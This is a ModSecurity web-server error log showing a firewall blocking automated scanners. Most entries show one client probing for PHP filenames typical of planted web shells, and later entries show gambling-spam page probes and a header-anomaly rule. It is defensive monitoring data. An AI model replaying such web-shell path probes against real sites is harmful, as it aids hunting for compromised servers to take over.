[Wed Apr 08 20:52:18.218397 2026] [:error] [pid 12490:tid 12495] [client 68.221.129.52:45275] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adZPgm1Fea4F4fbumr0A2gAAAMM"]
[Wed Apr 08 20:52:18.815152 2026] [:error] [pid 7047:tid 7060] [client 68.221.129.52:42996] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/store.php"] [unique_id "adZPguNh3oGO3pKiCzwXUwAAAYs"]
[Wed Apr 08 20:52:19.392036 2026] [:error] [pid 7047:tid 7065] [client 68.221.129.52:52957] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/store.php"] [unique_id "adZPg-Nh3oGO3pKiCzwXVQAAAZA"]
[Wed Apr 08 20:52:19.939561 2026] [:error] [pid 64066:tid 64082] [client 68.221.129.52:45254] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/store.php"] [unique_id "adZPg1R3WucJgr2vZGY-cgAAAU0"]
[Wed Apr 08 20:52:20.586408 2026] [:error] [pid 12385:tid 12393] [client 68.221.129.52:52964] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/store.php"] [unique_id "adZPhCAjtvRQEkLosq2efgAAAAQ"]
[Wed Apr 08 20:52:21.191893 2026] [:error] [pid 7047:tid 7072] [client 68.221.129.52:37774] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "adZPheNh3oGO3pKiCzwXXgAAAZc"]
[Wed Apr 08 20:52:21.768101 2026] [:error] [pid 12453:tid 12476] [client 68.221.129.52:40970] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "adZPhRjtW7S6XsLPvrQriAAAAJU"]
[Wed Apr 08 20:52:22.375465 2026] [:error] [pid 12453:tid 12478] [client 68.221.129.52:50102] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "adZPhhjtW7S6XsLPvrQrjgAAAJc"]
[Wed Apr 08 20:52:22.928861 2026] [:error] [pid 7047:tid 7050] [client 68.221.129.52:35652] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "adZPhuNh3oGO3pKiCzwXYgAAAYE"]
[Wed Apr 08 20:52:23.479471 2026] [:error] [pid 35642:tid 35658] [client 68.221.129.52:2175] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "adZPhw-CqryxdEs5DN9aogAAAE4"]
[Wed Apr 08 20:52:24.107828 2026] [:error] [pid 7047:tid 7065] [client 68.221.129.52:45300] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "adZPiONh3oGO3pKiCzwXZAAAAZA"]
[Wed Apr 08 20:52:24.718862 2026] [:error] [pid 7047:tid 7061] [client 68.221.129.52:50051] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "adZPiONh3oGO3pKiCzwXaAAAAYw"]
[Wed Apr 08 20:52:25.280611 2026] [:error] [pid 7047:tid 7059] [client 68.221.129.52:35704] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "adZPieNh3oGO3pKiCzwXawAAAYo"]
[Wed Apr 08 20:52:26.089095 2026] [:error] [pid 7047:tid 7050] [client 68.221.129.52:50091] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpyur.php"] [unique_id "adZPiuNh3oGO3pKiCzwXcQAAAYE"]
[Wed Apr 08 20:52:26.700511 2026] [:error] [pid 35642:tid 35668] [client 68.221.129.52:50069] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpyur.php"] [unique_id "adZPig-CqryxdEs5DN9apQAAAFg"]
[Wed Apr 08 20:52:27.339112 2026] [:error] [pid 35642:tid 35647] [client 68.221.129.52:37060] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpyur.php"] [unique_id "adZPiw-CqryxdEs5DN9apgAAAEM"]
[Wed Apr 08 20:52:27.893177 2026] [:error] [pid 7047:tid 7054] [client 68.221.129.52:45257] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpyur.php"] [unique_id "adZPi-Nh3oGO3pKiCzwXeAAAAYU"]
[Wed Apr 08 20:52:28.498754 2026] [:error] [pid 7047:tid 7058] [client 68.221.129.52:45288] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum.php"] [unique_id "adZPjONh3oGO3pKiCzwXegAAAYk"]
[Wed Apr 08 20:52:29.147910 2026] [:error] [pid 35642:tid 35665] [client 68.221.129.52:35688] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum.php"] [unique_id "adZPjQ-CqryxdEs5DN9aqAAAAFU"]
[Wed Apr 08 20:52:29.697527 2026] [:error] [pid 35642:tid 35664] [client 68.221.129.52:2170] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum.php"] [unique_id "adZPjQ-CqryxdEs5DN9aqwAAAFQ"]
[Wed Apr 08 20:52:30.437311 2026] [:error] [pid 12490:tid 12497] [client 68.221.129.52:35676] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum.php"] [unique_id "adZPjm1Fea4F4fbumr0A8QAAAMU"]
[Wed Apr 08 20:52:31.081887 2026] [:error] [pid 7047:tid 7052] [client 68.221.129.52:42978] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "adZPj-Nh3oGO3pKiCzwXggAAAYM"]
[Wed Apr 08 20:52:31.866861 2026] [:error] [pid 7047:tid 7071] [client 68.221.129.52:34453] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "adZPj-Nh3oGO3pKiCzwXgwAAAZY"]
[Wed Apr 08 20:52:32.762888 2026] [:error] [pid 7047:tid 7068] [client 68.221.129.52:37791] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "adZPkONh3oGO3pKiCzwXhgAAAZM"]
[Wed Apr 08 20:52:33.498898 2026] [:error] [pid 7047:tid 7052] [client 68.221.129.52:43005] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "adZPkeNh3oGO3pKiCzwXjAAAAYM"]
[Wed Apr 08 20:52:34.099447 2026] [:error] [pid 7047:tid 7054] [client 68.221.129.52:42948] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "adZPkuNh3oGO3pKiCzwXjwAAAYU"]
[Wed Apr 08 20:52:34.928977 2026] [:error] [pid 7047:tid 7058] [client 68.221.129.52:48339] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "adZPkuNh3oGO3pKiCzwXkAAAAYk"]
[Wed Apr 08 20:52:35.643939 2026] [:error] [pid 7189:tid 7192] [client 68.221.129.52:2168] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "adZPkxaBqhBSu0L37lrTpwAAAcE"]
[Wed Apr 08 20:52:36.390068 2026] [:error] [pid 7189:tid 7215] [client 68.221.129.52:55881] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "adZPlBaBqhBSu0L37lrTqwAAAdg"]
[Wed Apr 08 20:52:37.086329 2026] [:error] [pid 7189:tid 7207] [client 68.221.129.52:52946] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adZPlRaBqhBSu0L37lrTsQAAAdA"]
[Wed Apr 08 20:52:37.619297 2026] [:error] [pid 7189:tid 7214] [client 68.221.129.52:35666] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adZPlRaBqhBSu0L37lrTtgAAAdc"]
[Wed Apr 08 20:52:38.155958 2026] [:error] [pid 12385:tid 12404] [client 68.221.129.52:55877] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adZPliAjtvRQEkLosq2ehwAAAA8"]
[Wed Apr 08 20:52:38.769606 2026] [:error] [pid 12385:tid 12395] [client 68.221.129.52:35697] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adZPliAjtvRQEkLosq2eiQAAAAY"]
[Wed Apr 08 20:52:39.326224 2026] [:error] [pid 12453:tid 12458] [client 68.221.129.52:57650] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gilo.php"] [unique_id "adZPlxjtW7S6XsLPvrQrogAAAIM"]
[Wed Apr 08 20:52:39.883574 2026] [:error] [pid 12453:tid 12463] [client 68.221.129.52:52939] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gilo.php"] [unique_id "adZPlxjtW7S6XsLPvrQrowAAAIg"]
[Wed Apr 08 20:52:40.572833 2026] [:error] [pid 7189:tid 7195] [client 68.221.129.52:50666] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gilo.php"] [unique_id "adZPmBaBqhBSu0L37lrTvwAAAcQ"]
[Wed Apr 08 20:52:41.180320 2026] [:error] [pid 7189:tid 7214] [client 68.221.129.52:55880] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gilo.php"] [unique_id "adZPmRaBqhBSu0L37lrTwAAAAdc"]
[Wed Apr 08 20:52:41.747991 2026] [:error] [pid 7047:tid 7072] [client 68.221.129.52:50061] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "adZPmeNh3oGO3pKiCzwXnQAAAZc"]
[Wed Apr 08 20:52:42.340948 2026] [:error] [pid 7047:tid 7073] [client 68.221.129.52:50053] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "adZPmuNh3oGO3pKiCzwXoQAAAZg"]
[Wed Apr 08 20:52:43.018648 2026] [:error] [pid 7047:tid 7057] [client 68.221.129.52:2145] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "adZPm-Nh3oGO3pKiCzwXpQAAAYg"]
[Wed Apr 08 20:52:43.562825 2026] [:error] [pid 7047:tid 7056] [client 68.221.129.52:52953] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "adZPm-Nh3oGO3pKiCzwXqAAAAYc"]
[Wed Apr 08 20:52:44.383954 2026] [:error] [pid 7047:tid 7071] [client 68.221.129.52:57616] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x7r.php"] [unique_id "adZPnONh3oGO3pKiCzwXrAAAAZY"]
[Wed Apr 08 20:52:44.950639 2026] [:error] [pid 64066:tid 64080] [client 68.221.129.52:50647] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x7r.php"] [unique_id "adZPnFR3WucJgr2vZGY-lAAAAUs"]
[Wed Apr 08 20:52:45.500741 2026] [:error] [pid 7189:tid 7194] [client 68.221.129.52:45280] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x7r.php"] [unique_id "adZPnRaBqhBSu0L37lrTxQAAAcM"]
[Wed Apr 08 20:52:46.182864 2026] [:error] [pid 7189:tid 7199] [client 68.221.129.52:57662] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x7r.php"] [unique_id "adZPnhaBqhBSu0L37lrTyAAAAcg"]
[Wed Apr 08 21:40:13.945498 2026] [:error] [pid 12490:tid 12497] [client 43.130.3.120:49686] [client 43.130.3.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adZavW1Fea4F4fbumr0OOwAAAMU"]
[Wed Apr 08 23:27:22.465749 2026] [:error] [pid 12453:tid 12462] [client 145.239.195.38:52934] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adZz2hjtW7S6XsLPvrRnEQAAAIc"]
[Wed Apr 08 23:27:24.931606 2026] [:error] [pid 64066:tid 64075] [client 145.239.195.38:55892] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adZz3FR3WucJgr2vZGaTRgAAAUY"]
[Wed Apr 08 23:27:27.471495 2026] [:error] [pid 64066:tid 64084] [client 145.239.195.38:55908] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adZz31R3WucJgr2vZGaTUgAAAU8"]
[Wed Apr 08 23:27:30.154807 2026] [:error] [pid 12490:tid 12513] [client 145.239.195.38:55916] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adZz4m1Fea4F4fbumr0_SAAAANU"]
[Wed Apr 08 23:27:33.029991 2026] [:error] [pid 64066:tid 64075] [client 145.239.195.38:55924] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adZz5VR3WucJgr2vZGaTaQAAAUY"]
[Wed Apr 08 23:27:35.701857 2026] [:error] [pid 12386:tid 12419] [client 145.239.195.38:33772] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adZz5xLhhLtqHi2gK7UvMgAAAQM"]
[Wed Apr 08 23:27:38.677485 2026] [:error] [pid 12385:tid 12405] [client 145.239.195.38:33786] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adZz6iAjtvRQEkLosq2yHAAAABA"]
[Wed Apr 08 23:27:41.732878 2026] [:error] [pid 35642:tid 35649] [client 145.239.195.38:33800] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adZz7Q-CqryxdEs5DN90ngAAAEU"]
[Wed Apr 08 23:27:44.115468 2026] [:error] [pid 12453:tid 12475] [client 145.239.195.38:45612] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adZz8BjtW7S6XsLPvrRnLAAAAJQ"]
